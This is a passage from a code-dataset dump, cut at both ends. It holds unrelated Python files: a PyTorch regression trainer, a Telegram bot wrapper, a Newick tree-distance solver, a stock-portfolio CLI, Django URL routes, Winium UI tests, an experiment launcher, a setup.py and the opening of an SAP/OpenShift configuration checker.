pred[0].reshape(batch_size)\n\n\ndef get_accuracy(pred, target, delta):\n acc = torch.abs(pred.cpu() - target.cpu()) < delta\n return acc.view(-1).numpy()\n\n\n###############################################################################\n# Main Routines\n###############################################################################\ndef get_model(opt):\n # define base model\n base = None\n if opt.which_model == 'alexnet':\n base = AlexNetFeature(pooling='')\n elif 'resnet' in opt.which_model:\n base = ResNetFeature(opt.which_model)\n else:\n raise NotImplementedError('Model [%s] is not implemented.' % opt.which_model)\n \n # define Siamese Network\n net = RegressionNetwork(base, pooling=opt.pooling,\n cnn_dim=opt.cnn_dim, cnn_pad=opt.cnn_pad, cnn_relu_slope=opt.cnn_relu_slope)\n\n # initialize | load weights\n if opt.mode == 'train':\n net.apply(weights_init)\n if opt.pretrained_model_path:\n if isinstance(net, torch.nn.DataParallel):\n net.module.load_pretrained(opt.pretrained_model_path)\n else:\n net.load_pretrained(opt.pretrained_model_path)\n else:\n # HACK: strict=False\n net.load_state_dict(torch.load(os.path.join(opt.checkpoint_dir, opt.name, '{}_net.pth'.format(opt.which_epoch))), strict=False)\n net.eval()\n \n if opt.use_gpu:\n net.cuda()\n return net\n\n\ndef get_transform(opt):\n transform_list = []\n if opt.transforms == 'resize_and_crop':\n osize = [opt.loadSize, opt.loadSize]\n transform_list.append(transforms.Resize(osize, Image.BICUBIC))\n transform_list.append(transforms.RandomCrop(opt.fineSize))\n elif opt.transforms == 'crop':\n transform_list.append(transforms.RandomCrop(opt.fineSize))\n elif opt.transforms == 'scale_width':\n transform_list.append(transforms.Lambda(\n lambda img: __scale_width(img, opt.fineSize)))\n elif opt.transforms == 'scale_width_and_crop':\n transform_list.append(transforms.Lambda(\n lambda img: __scale_width(img, opt.loadSize)))\n transform_list.append(transforms.RandomCrop(opt.fineSize))\n elif opt.transforms == 'none':\n transform_list.append(transforms.Lambda(\n lambda img: __adjust(img)))\n elif opt.transforms == 'resize_affine_crop':\n transform_list.append(transforms.Resize([opt.loadSize, opt.loadSize], Image.BICUBIC))\n transform_list.append(transforms.RandomAffine(degrees=opt.affineDegrees, scale=tuple(opt.affineScale),\n resample=Image.BICUBIC, fillcolor=127))\n transform_list.append(transforms.RandomCrop(opt.fineSize))\n elif opt.transforms == 'resize_affine_center':\n transform_list.append(transforms.Resize([opt.loadSize, opt.loadSize], Image.BICUBIC))\n transform_list.append(transforms.RandomAffine(degrees=opt.affineDegrees, scale=tuple(opt.affineScale),\n resample=Image.BICUBIC, fillcolor=127))\n transform_list.append(transforms.CenterCrop(opt.fineSize))\n else:\n raise ValueError('--resize_or_crop %s is not a valid option.' % opt.transforms)\n\n if opt.isTrain and not opt.no_flip:\n transform_list.append(transforms.RandomHorizontalFlip())\n\n if opt.isTrain and opt.use_color_jitter:\n transform_list.append(transforms.ColorJitter()) # TODO\n\n transform_list += [transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010))]\n return transforms.Compose(transform_list)\n\n\n# Routines for training\ndef train(opt, net, dataloader):\n criterion = torch.nn.MSELoss()\n opt.save_dir = os.path.join(opt.checkpoint_dir, opt.name)\n if not os.path.exists(opt.save_dir):\n os.makedirs(opt.save_dir)\n optimizer = optim.Adam(net.parameters(), lr=opt.lr)\n\n dataset_size, dataset_size_val = opt.dataset_size, opt.dataset_size_val\n loss_history = []\n total_iter = 0\n num_iter_per_epoch = math.ceil(dataset_size / opt.batch_size)\n opt.display_val_acc = not not dataloader_val\n loss_legend = ['regression']\n if opt.display_id >= 0:\n import visdom\n vis = visdom.Visdom(server='http://localhost', port=opt.display_port)\n # plot_data = {'X': [], 'Y': [], 'leg': ['loss']}\n plot_loss = {'X': [], 'Y': [], 'leg': loss_legend}\n plot_acc = {'X': [], 'Y': [], 'leg': ['train', 'val'] if opt.display_val_acc else ['train']}\n\n for epoch in range(opt.epoch_count, opt.num_epochs+opt.epoch_count):\n epoch_iter = 0\n acc_train = []\n\n for i, data in enumerate(dataloader, 0):\n img0, path0 = data\n label = [get_age(name) for name in path0]\n label = torch.FloatTensor(label).view(img0.size(0), net.feature_dim, 1, 1)\n\n # normalize label only\n label = opt.embedding_normalize(label)\n\n if opt.use_gpu:\n img0, label = img0.cuda(), label.cuda()\n epoch_iter += 1\n total_iter += 1\n\n optimizer.zero_grad()\n\n output = net.forward(img0)\n loss = criterion(output, label)\n\n # get predictions\n acc_train.append(get_accuracy(output, label, opt.delta))\n\n loss.backward()\n optimizer.step()\n\n losses = {'regression': loss.item()}\n \n if total_iter % opt.print_freq == 0:\n print(\"epoch %02d, iter %06d, loss: %.4f\" % (epoch, total_iter, loss.item()))\n if opt.display_id >= 0:\n plot_loss['X'].append(epoch -1 + epoch_iter/num_iter_per_epoch)\n plot_loss['Y'].append([losses[k] for k in plot_loss['leg']])\n vis.line(\n X=np.stack([np.array(plot_loss['X'])] * len(plot_loss['leg']), 1),\n Y=np.array(plot_loss['Y']),\n opts={'title': 'loss', 'legend': plot_loss['leg'], 'xlabel': 'epoch', 'ylabel': 'loss'},\n win=opt.display_id\n )\n loss_history.append(loss.item())\n \n curr_acc = {}\n # evaluate training\n curr_acc['train'] = np.count_nonzero(np.concatenate(acc_train)) / dataset_size\n\n # evaluate val\n if opt.display_val_acc:\n acc_val = []\n for i, data in enumerate(dataloader_val, 0):\n img0, path0 = data\n label = [get_age(name) for name in path0]\n label = torch.FloatTensor(label).view(img0.size(0), net.feature_dim, 1, 1)\n\n # normalize label only\n label = opt.embedding_normalize(label)\n\n if opt.use_gpu:\n img0 = img0.cuda()\n output = net.forward(img0)\n acc_val.append(get_accuracy(output, label, opt.delta))\n curr_acc['val'] = np.count_nonzero(np.concatenate(acc_val)) / dataset_size_val\n \n # plot accs\n if opt.display_id >= 0:\n plot_acc['X'].append(epoch)\n plot_acc['Y'].append([curr_acc[k] for k in plot_acc['leg']])\n vis.line(\n X=np.stack([np.array(plot_acc['X'])] * len(plot_acc['leg']), 1),\n Y=np.array(plot_acc['Y']),\n opts={'title': 'accuracy', 'legend': plot_acc['leg'], 'xlabel': 'epoch', 'ylabel': 'accuracy'},\n win=opt.display_id+1\n )\n sio.savemat(os.path.join(opt.save_dir, 'mat_loss'), plot_loss)\n sio.savemat(os.path.join(opt.save_dir, 'mat_acc'), plot_acc)\n\n torch.save(net.cpu().state_dict(), os.path.join(opt.save_dir, 'latest_net.pth'))\n if opt.use_gpu:\n net.cuda()\n if epoch % opt.save_epoch_freq == 0:\n torch.save(net.cpu().state_dict(), os.path.join(opt.save_dir, '{}_net.pth'.format(epoch)))\n if opt.use_gpu:\n net.cuda()\n\n with open(os.path.join(opt.save_dir, 'loss.txt'), 'w') as f:\n for loss in loss_history:\n f.write(str(loss)+'\\n')\n # show_plot(counter, loss_history)\n\n\n# Routines for visualization\ndef visualize(opt, net, dataloader):\n features = []\n labels = []\n for _, data in enumerate(dataloader, 0):\n img0, path0 = data\n if opt.use_gpu:\n img0 = img0.cuda()\n feature = net.forward(img0)\n feature = feature.cpu().detach().numpy()\n features.append(feature.reshape([1, net.feature_dim]))\n labels.append(get_age(path0[0]))\n print('--> %s' % path0[0])\n\n X = np.concatenate(features, axis=0)\n labels = np.array(labels)\n np.save(os.path.join(opt.checkpoint_dir, opt.name, 'features.npy'), X)\n np.save(os.path.join(opt.checkpoint_dir, opt.name, 'labels.npy'), labels)\n\n\n###############################################################################\n# main()\n###############################################################################\n# TODO: set random seed\n\nif __name__=='__main__':\n opt = Options().get_options()\n\n # get model\n net = get_model(opt)\n\n if opt.mode == 'train':\n # get dataloader\n dataset = SingleImageDataset(opt.dataroot, opt.datafile, transform=get_transform(opt))\n dataloader = DataLoader(dataset, shuffle=True, num_workers=opt.num_workers, batch_size=opt.batch_size)\n opt.dataset_size = len(dataset)\n # val dataset\n if opt.dataroot_val:\n dataset_val = SingleImageDataset(opt.dataroot_val, opt.datafile_val, transform=get_transform(opt))\n dataloader_val = DataLoader(dataset_val, shuffle=True, num_workers=opt.num_workers, batch_size=opt.batch_size)\n opt.dataset_size_val = len(dataset_val)\n else:\n dataloader_val = None\n opt.dataset_size_val = 0\n print('dataset size = %d' % len(dataset))\n # train\n train(opt, net, dataloader)\n elif opt.mode == 'visualize':\n # get dataloader\n dataset = SingleImageDataset(opt.dataroot, opt.datafile, transform=get_transform(opt))\n dataloader = DataLoader(dataset, shuffle=False, num_workers=0, batch_size=1)\n # visualize\n visualize(opt, net, dataloader)\n else:\n raise NotImplementedError('Mode [%s] is not implemented.' % opt.mode)\n","sub_path":"main_regression.py","file_name":"main_regression.py","file_ext":"py","file_size_in_byte":24829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"446465615","text":"import threading\nfrom time import sleep\n\nx=0\ny=0\nball_on_plate=False\n\ndef funtion(arg):\n\tglobal runing\n\tglobal x,y,ball_on_plate\n\truning=True\n\twhile runing:\n\t\tx+=1\n\t\ty+=1\n\t\tball_on_plate = not ball_on_plate\n\t\tsleep(0.6)\n\t\t\n\nthread1 = threading.Thread(target=funtion,args=(1,))\nprint(\"Inicio de codigo\")\nthread1.start()\t\n\nwhile True:\n\ttry:\n\t\tprint(\"X={}, Y={}, Plate={}\".format(x,y,ball_on_plate))\n\t\tsleep(0.2)\n\texcept KeyboardInterrupt:\n\t\tprint(\"Exit\")\n\t\truning=False\n\t\tbreak\n\n\n\n\t\n\nruning=False\n","sub_path":"test_PID/test_thread.py","file_name":"test_thread.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"559981207","text":"from bases import JSONAPI\nfrom telegram import ParseMode, TelegramError\nfrom telegram.ext import CommandHandler, MessageHandler, Filters\n\n\nclass TelegramAPI(object):\n \"\"\"Class which represents Telegram API between module and wrapper\n\n Attributes:\n bot_id(int): bot ID\n\n Args:\n updater(:class:`telegram.ext.Updater`): updater instance\n\n \"\"\"\n _commands = []\n\n def __init__(self, updater):\n self._bot = updater.bot\n self._dispatcher = updater.dispatcher\n\n def _register_command(self, command):\n if command in self._commands:\n raise ValueError('Command \"{0}\" is already registered'.format(command))\n self._commands.append(command)\n\n def register_command(self, commands, callback, allow_edited=False):\n \"\"\"Registers commands handler\n\n Args:\n commands(list|tuple): list of commands to register\n callback(function): callable object to execute\n allow_edited(Optional[bool]): pass edited messages\n\n Raises:\n ValueError: if one of commands in ``commands`` was already registered\n\n \"\"\"\n for command in commands:\n self._register_command(command)\n\n def process_update(bot, update):\n callback(update.effective_message,\n update.effective_message.text.split(' ')[1:])\n self._dispatcher.add_handler(CommandHandler(commands, process_update,\n allow_edited=allow_edited))\n\n def register_text_handler(self, callback, allow_edited=False):\n \"\"\"Registers text message handler\n\n Args:\n callback(function): callable object to execute\n allow_edited(Optional[bool]): pass edited messages\n\n \"\"\"\n def process_update(bot, update):\n callback(update.effective_message)\n self._dispatcher.add_handler(MessageHandler(Filters.text, process_update,\n edited_updates=allow_edited))\n\n def send_text_message(self, chat, text, markdown=False, html=False, reply_to=None, **kwargs):\n \"\"\"Sends message\n\n Notes:\n For now, this method supports only sending message with markdown or HTML parsing\n\n Args:\n chat(int|str): chat ID or '@channel_name'\n text(str): text to send\n markdown(Optional[bool]): parse text as markdown\n html(Optional[bool]): parse text as html\n reply_to(Optional[int]): ID of message to reply to\n\n Returns:\n bool: ``True`` if message was sent, ``False`` otherwise\n\n Raises:\n ValueError: if ``markdown`` and ``html`` are both ``True``\n\n \"\"\"\n if markdown and html:\n raise ValueError(\"`markdown` and `html` are self-exclusive\")\n\n if markdown:\n parse_mode = ParseMode.MARKDOWN\n elif html:\n parse_mode = ParseMode.HTML\n else:\n parse_mode = None\n\n try:\n self._bot.send_message(chat, text, parse_mode=parse_mode, reply_to_message_id=reply_to,\n **kwargs)\n except TelegramError:\n return False\n return True\n\n def delete_message(self, chat=None, message_id=None, message=None):\n \"\"\"Deletes message\n\n Args:\n chat(Optional[int|str]): chat ID or '@channel_name'\n message_id(Optional[int]): ID of message to be deleted\n message(Optional[:class:`telegram.Message`]): message to be deleted\n\n Returns:\n bool: ``True`` on success, ``False`` otherwise\n\n Raises:\n ValueError: if ``chat``, ``message_id`` and ``message`` are ``None``\n\n \"\"\"\n if (chat is None or message_id is None) and message is None:\n raise ValueError('Either `chat` and `message_id` or `message` must be given')\n if message is not None:\n chat = message.chat_id\n message_id = message.message_id\n\n try:\n return self._bot.delete_message(chat, message_id)\n except TelegramError:\n return False\n\n def ban_member(self, chat, user_id=None, user=None):\n \"\"\"Bans chat member\n\n Args:\n chat(int|str): chat ID or '@channel_name'\n user_id(Optional[int]): user ID to be banned\n user(Optional[:class:`telegram.User`]): user to be banned\n\n Returns:\n bool: ``True`` on success, ``False`` otherwise\n\n Raises:\n ValueError: if both ``user_id`` and ``user`` were (not) given\n\n \"\"\"\n if (user_id is None and user is None) or (user_id is not None and user is not None):\n raise ValueError('Either `user_id` or `user` must be given')\n if user is not None:\n user_id = user.id\n\n try:\n self._bot.kick_chat_member(chat, user_id)\n except TelegramError:\n return False\n return True\n\n def unban_member(self, chat, user_id=None, user=None):\n \"\"\"Unbans chat member\n\n Args:\n chat(int|str): chat ID or '@channel_name'\n user_id(Optional[int]): user ID to be unbanned\n user(Optional[:class:`telegram.User`]): user to be unbanned\n\n Returns:\n bool: ``True`` on success, ``False`` otherwise\n\n Raises:\n ValueError: if both ``user_id`` and ``user`` were (not) given\n\n \"\"\"\n if user_id is None and user is None:\n raise ValueError('Either `user_id` or `user` must be given')\n if user is not None:\n user_id = user.id\n\n try:\n self._bot.unban_chat_member(chat, user_id)\n except TelegramError:\n return False\n return True\n\n def kick_member(self, chat, user_id=None, user=None):\n \"\"\"Kicks chat member\n\n Args:\n chat(int|str): chat ID or '@channel_name'\n user_id(Optional[int]): user ID to be unbanned\n user(Optional[:class:`telegram.User`]): user to be unbanned\n\n Returns:\n bool: ``True`` on success, ``False`` otherwise\n\n Raises:\n ValueError: if both ``user_id`` and ``user`` were (not) given\n\n \"\"\"\n return self.ban_member(chat, user_id, user) and self.unban_member(chat, user_id, user)\n\n def get_admins(self, chat, use_ids=False):\n \"\"\"Get chat administrators and return them\n\n Args:\n chat(int|str): chat ID or '@channel_name'\n use_ids(Optional[bool]): if ``True``, returns list of IDs, otherwise returns list of\n ``telegram.ChatMember``\n\n Returns:\n list: list of admins\n\n \"\"\"\n admins = self._bot.get_chat_administrators(chat)\n if use_ids:\n return [admin.user.id for admin in admins]\n else:\n return list(admins)\n\n @property\n def bot_id(self):\n return self._bot.id\n\n\nclass ConfigAPI(JSONAPI):\n \"\"\"This class gives easy access to config files used by module\n\n Args:\n name(str): module name\n\n \"\"\"\n def __init__(self, name):\n super(ConfigAPI, self).__init__('config', name)\n\n\nclass LangAPI(JSONAPI):\n \"\"\"This class gives easy access to language files (translations)\n\n Short usage:\n >>> tr = LangAPI('foo')\n >>> print(tr('en_US', 'bar'))\n\n If desired string cannot be found in specified language, it will fallback to 'en'.\n If desired string cannot be found in 'en', ``None`` is returned\n\n Args:\n name(str): module name\n\n \"\"\"\n # TODO: use built-in python translation library\n def __init__(self, name):\n super(LangAPI, self).__init__('lang', name)\n\n def __getitem__(self, item):\n if item is None:\n return None\n lang = item.split('-')[0].lower()\n return self._raw_data.get(lang, None)\n\n def __call__(self, lang, string):\n tr = self[lang]\n if lang is not None:\n tr = tr.get(string.lower(), None)\n\n if tr is None:\n return self['en'].get(string.lower(), None)\n return tr\n","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":8104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"260573792","text":"'''\r\nCreated on Aug 15, 2013\r\n\r\n@author: Zoya\r\n'''\r\n\r\ndef find_distance(tree, node1, node2):\r\n start = tree.index(node1) + len(node1)\r\n finish = tree.index(node2)\r\n if start > finish: return find_distance(tree, node2, node1)\r\n print (\"Start processing %s\" % tree)\r\n history = []\r\n for letter in tree[start:finish]:\r\n if letter == '(':\r\n history.append(letter)\r\n elif letter == ',': \r\n if (len(history) == 0 or history[-1] != ','): # and history.count(')') == 0:\r\n history.append(letter)\r\n# elif len(history) >0 and history[-1] == ')':\r\n# history.pop()\r\n# history.append(letter)\r\n elif letter == ')':\r\n if history.count('(') > 0:\r\n last_hist = history.pop()\r\n while last_hist != '(':\r\n last_hist = history.pop()\r\n elif len(history) > 0 and history[-1] == ',':\r\n history.pop()\r\n history.append(letter)\r\n else:\r\n history.append(letter)\r\n result = 0\r\n for i in range(len(history) - 1):\r\n if history[i] == '(' and history[i + 1] == ',' and (len(history) == i + 2 or history[i + 2] == '('):\r\n result -= 2\r\n print (history)\r\n \r\n for letter in history:\r\n if letter == '(' or letter == ')':\r\n result += 1\r\n elif letter == \",\":\r\n result += 2 \r\n print (result)\r\n return result\r\n\r\ndef NWCK(input_file, output_file):\r\n lines = [line.strip() for line in open(input_file)]\r\n i = 0\r\n result = []\r\n while i < len(lines):\r\n result.append(find_distance(lines[i], lines[i + 1].split(\" \")[0], lines[i + 1].split(\" \")[1]))\r\n i += 3\r\n with open(output_file, 'w') as result_file:\r\n result_file.write(\" \".join(str(x) for x in result))\r\n\r\nNWCK(\"data/rosalind_nwck.txt\", \"data/rosalind_nwck_result.txt\")\r\n","sub_path":"src/com/zobar/rosalind/NWCK.py","file_name":"NWCK.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"134420592","text":"#!/bin/env python3\n\nfrom datetime import date\nimport decimal\n\nimport portfolioman\nimport transaction\n\n#import stockquote\n\nDB_FILE = 'portfolioman.db'\n\nmoney_format = '{:,.2f}'\n\ndef new_transaction():\n print('Create a new transaction')\n ticker = input('Ticker: ')\n month = int(input('Month of Purchase: '))\n day = int(input('Day of Purchase: '))\n year = int(input('Year of Purchase: '))\n purchase_date = date(year, month, day)\n shares = decimal.Decimal(input('Shares: '))\n price = decimal.Decimal(input('Price Per Share: '))\n commission = decimal.Decimal(input('Commission: '))\n trans = transaction.Transaction(ticker, purchase_date, shares, price, commission)\n portfolioman.add_transaction(trans)\n\n \ndef print_all_transactions():\n print('(ticker, date, shares, cost, commission)')\n transactions = portfolioman.get_all_transactions() \n for transaction in transactions:\n print(transaction)\n\n \ndef print_portfolio():\n total_market_value = 0;\n total_gain = 0\n print('(ticker, Count, Cost Basis, Market Value, Gain)')\n portfolio = portfolioman.get_portfolio()\n for key, value in portfolio:\n cost_str = money_format.format(value.cost)\n market_value = value.marketValue\n total_market_value = total_market_value + market_value\n market_value_str = money_format.format(market_value)\n gain = market_value - value.cost\n total_gain = total_gain + gain\n gain_str = money_format.format(gain)\n print(key, value.count, cost_str, market_value_str, gain_str)\n print('')\n print('Total Market Value:', money_format.format(total_market_value))\n print('Total Gain/Loss: ', money_format.format(total_gain))\n\n\ndef main():\n portfolioman.create_db(DB_FILE)\n kb_in = -1\n while kb_in is not 0:\n print('1: New Transaction')\n print('2: Print Transactions')\n print('3: Display Portfolio')\n print('0: Quit')\n try:\n kb_in = int(input('Input: '))\n print('')\n if kb_in is 1:\n new_transaction()\n if kb_in is 2:\n print_all_transactions()\n if kb_in is 3:\n print_portfolio()\n except ValueError:\n print(\"Not a number\")\n print('')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cliclient.py","file_name":"cliclient.py","file_ext":"py","file_size_in_byte":2342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"361297276","text":"\"\"\"one_last_try URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom topics.views import topic_view,home_view,detail_view,form_view,entryform_view,edit_view\nfrom users.views import logout_view, register_view\nfrom django.contrib.auth.views import LoginView\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', home_view , name='home'),\n path('topic/', topic_view, name='topic'),\n path('topic/<int:id>/', detail_view, name='detail'),\n path('new_topic/', form_view, name='new_topic'),\n path('new_topic/<int:id>/', entryform_view, name='new_entry' ),\n path('edit_entry/<entry_id>', edit_view, name='edit'),\n path('users/',LoginView.as_view(template_name='users.html'),name= 'user'),\n path('logout/', logout_view, name='logout'),\n path('register/', register_view, name='register')\n]\n","sub_path":"one_last_try/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"537403459","text":"# coding: utf-8\nfrom time import sleep\nimport unittest\nfrom xml.etree import ElementTree\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n\ndef find_element(driver, by, value):\n \"\"\"\n :rtype: selenium.webdriver.remote.webelement.WebElement\n \"\"\"\n return WebDriverWait(driver, 5).until(EC.presence_of_element_located((by, value)))\n\n\nclass TestApp(unittest.TestCase):\n \"\"\"\n To run tests on connected (and unlocked for development) device:\n 1. Set 'deviceName' to 'Device',\n 2. Set 'deviceIpAddress' to IP address of device (you can find it in device wi-fi settings)\n \"\"\"\n desired_capabilities = {\n # 'deviceName': 'Device',\n 'deviceName': 'Emulator',\n 'deviceIpAddress': '127.0.0.1',\n 'locale': 'en-US',\n 'debugCodedUI': False,\n 'app': r\"..\\..\\Winium.StoreApps.TestApp\\AppPackages\\Winium.StoreApps.TestApp_1.0.0.0_AnyCPU_Debug_Test\"\n r\"\\Winium.StoreApps.TestApp_1.0.0.0_AnyCPU_Debug.appx\"\n }\n\n def setUp(self):\n self.driver = webdriver.Remote(\n command_executor='http://localhost:9999',\n desired_capabilities=self.desired_capabilities)\n\n def tearDown(self):\n self.driver.quit()\n\n def test_page_source(self):\n source = self.driver.page_source\n print(source)\n root = ElementTree.fromstring(source)\n self.assertGreater(sum(1 for _ in root.iterfind('*')), 1)\n\n def test_sample_app(self):\n text_box = self.driver.find_element_by_tag_name(\"TextBox\")\n print(text_box.text)\n\n button = self.driver.find_element_by_id(\"MagicId\")\n button.click()\n\n first_text = text_box.text\n\n button.click()\n\n second_text = text_box.text\n\n self.assertNotEqual(first_text, second_text)\n\n buttons = self.driver.find_elements_by_class_name(\"TextBox\")\n print([b.text for b in buttons])\n\n list_view = self.driver.find_element_by_id(\"TopPanel\")\n buttons = list_view.find_elements_by_class_name(\"TextBox\")\n print([b.text for b in buttons])\n\n\nclass TestStandardCalendar(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.Remote(\n command_executor='http://localhost:9999',\n desired_capabilities={\n # 'deviceName': 'Device',\n 'deviceName': 'Emulator',\n 'debugCodedUI': False,\n 'locale': 'en-US',\n })\n\n def tearDown(self):\n self.driver.quit()\n\n def test_sample(self):\n # AutomationId for tiles can not be used to find tile directly,\n # but can be used to launch apps by switching to window\n # Actula tile_id is very very very long\n # {36F9FA1C-FDAD-4CF0-99EC-C03771ED741A}:x36f9fa1cyfdady4cf0y99ecyc03771ed741ax:Microsoft.MSCalendar_8wekyb3d8bbwe!x36f9fa1cyfdady4cf0y99ecyc03771ed741ax\n # but all we care about is part after last colon\n self.driver.switch_to.window('_:_:Microsoft.MSCalendar_8wekyb3d8bbwe!x36f9fa1cyfdady4cf0y99ecyc03771ed741ax')\n\n # accept permisson alert if any\n try:\n accept_btn = self.driver.find_element_by_name(\"allow\")\n accept_btn.click()\n except NoSuchElementException:\n pass\n\n # now we are in calendar app\n new_btn = find_element(self.driver, By.NAME, \"new\")\n new_btn.click()\n sleep(1) # it all happens fast, lets add sleeps\n\n subject = find_element(self.driver, By.ID, \"EditCardSubjectFieldSimplified\")\n subject.send_keys(u'Winium Coded UI Demo')\n sleep(1)\n\n # we should have searched for LocationFiled using name or something, but Calendar app uses slightly different\n # classes for location filed in 8.1 and 8.1 Update, searching by class works on both\n location = self.driver.find_elements_by_class_name('TextBox')[1]\n location.send_keys(u'Your computer')\n sleep(1)\n\n save_btn = find_element(self.driver, By.NAME, \"save\")\n\n save_btn.click()\n sleep(2)\n\n self.driver.close() # we can close last app opened using switch_to_window\n\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"TestExamples/test_sample.py","file_name":"test_sample.py","file_ext":"py","file_size_in_byte":4368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"106331335","text":"#!/usr/bin/env python\n\nimport subprocess\nimport os\nimport glob\n\n\nexps = [\"/home/jario/spire-net-1812/exps/light_head_64_64\", \n \"/home/jario/spire-net-1812/exps/baseline\", \n \"/home/jario/spire-net-1812/exps/light_head_64_128\",\n \"/home/jario/spire-net-1812/exps/light_head_64_256\",\n \"/home/jario/spire-net-1812/exps/light_head_128_128\",\n \"/home/jario/spire-net-1812/exps/light_head_128_256\"]\n\nnum_gpus = 1\npath_to_maskrcnn = os.path.abspath(os.path.dirname(os.path.realpath(__file__))+os.path.sep+\"..\")\n\nfor exp in exps:\n yaml_fn = glob.glob(os.path.join(exp, '*.yaml'))\n yaml_fn.sort()\n\n cmd = \"cd {}; \".format(path_to_maskrcnn) \n\n if len(yaml_fn) > 0:\n if num_gpus == 1:\n cmd += \"python tools/train_net.py --config-file {} OUTPUT_DIR {}\".format(yaml_fn[0], exp)\n else:\n cmd += \"export NGPUS={}; \".format(num_gpus)\n cmd += \"python -m torch.distributed.launch --nproc_per_node=$NGPUS \" \\\n \"tools/train_net.py --config-file {} OUTPUT_DIR {}\".format(yaml_fn[0], exp)\n print(cmd)\n subprocess.call(cmd, shell=True)\n else:\n print(\"In Dir:{}, yaml not found.\".format(exp))\n\nprint(\"all done.\")\n","sub_path":"script/multi_experiment.py","file_name":"multi_experiment.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"337525021","text":"#from distutils.core import setup\nfrom setuptools import setup, find_packages\n\n# http://guide.python-distribute.org/quickstart.html\n# python setup.py sdist\n# python setup.py register\n# python setup.py sdist upload\n# pip install cyclone-rest-handler\n# pip install cyclone-rest-handler --upgrade --no-deps\n# Manual upload to PypI\n# http://pypi.python.org/pypi/cyclone-rest-handler\n# Go to 'edit' link\n# Update version and save\n# Go to 'files' link and upload the file\n\n\ntests_require = [\n]\n\ninstall_requires = [\n]\n\nsetup(name='cyclone-rest-handler',\n url='https://github.com/gleicon/cyclone-rest-handler',\n author=\"gleicon\",\n author_email='gleicon@gmail.com',\n keywords='python cyclone rest handler',\n description='A simple Python Cyclone handler that manage Rest requests automatically.',\n license='MIT',\n classifiers=[\n # 'Framework :: Tornado',\n 'Operating System :: OS Independent',\n 'Topic :: Software Development'\n ],\n\n version='0.0.1',\n install_requires=install_requires,\n tests_require=tests_require,\n # test_suite='runtests.runtests',\n # extras_require={'test': tests_require},\n\n packages=find_packages(),\n)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"426103835","text":"# ------------------------------------------------------------------------\n# Copyright 2020, 2021 IBM Corp. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ------------------------------------------------------------------------\n\n\"\"\" Verify settings in configuration YAML file (helper functions) \"\"\"\n\n\n# Global modules\n\n# None\n\n\n# Local modules\n\nfrom modules.command import (\n CmdShell,\n CmdSsh\n)\nfrom modules.constants import getConstants\nfrom modules.exceptions import RpmFileNotFoundException\nfrom modules.ocp import ocLogin\nfrom modules.tools import (\n refSystemIsStandard,\n areContainerMemResourcesValid,\n getRpmFileForPackage,\n strBold,\n getHdbCopySshCommand\n)\n\n\n# Functions for formatting the output\n\ndef showMsgOk(text):\n \"\"\" print text with header \"\"\"\n print(\"[Ok ] \" + text)\n\n\ndef showMsgErr(text):\n \"\"\" print text with header \"\"\"\n print('[' + strBold('Error') + '] ' + text)\n\n\ndef showMsgInd(text):\n \"\"\" print text with header \"\"\"\n print(\"[.....] \" + text)\n\n\n# Classes\n\nclass Verify():\n \"\"\" Verify various configuration settings \"\"\"\n\n def __init__(self, ctx):\n\n self._ctx = ctx\n\n self._cmdSshNfs = CmdSsh(ctx, ctx.cf.nfs.host.name, ctx.cr.nfs.user,\n reuseCon=False)\n self._cmdSshNws4 = CmdSsh(ctx, ctx.cf.refsys.nws4.host.name, ctx.cr.refsys.nws4.sidadm,\n reuseCon=False)\n self._cmdSshHdb = CmdSsh(ctx, ctx.cf.refsys.hdb.host.name, ctx.cr.refsys.hdb.sidadm,\n reuseCon=False)\n\n # Public methods\n\n def verify(self):\n \"\"\" Verify various configuration settings \"\"\"\n\n success = True\n\n success = self._verifyOcp() and success\n success = self._verifyImages() and success\n success = self._verifyNws4() and success\n success = self._verifyHdb() and success\n success = self._verifyNfs() and success\n success = 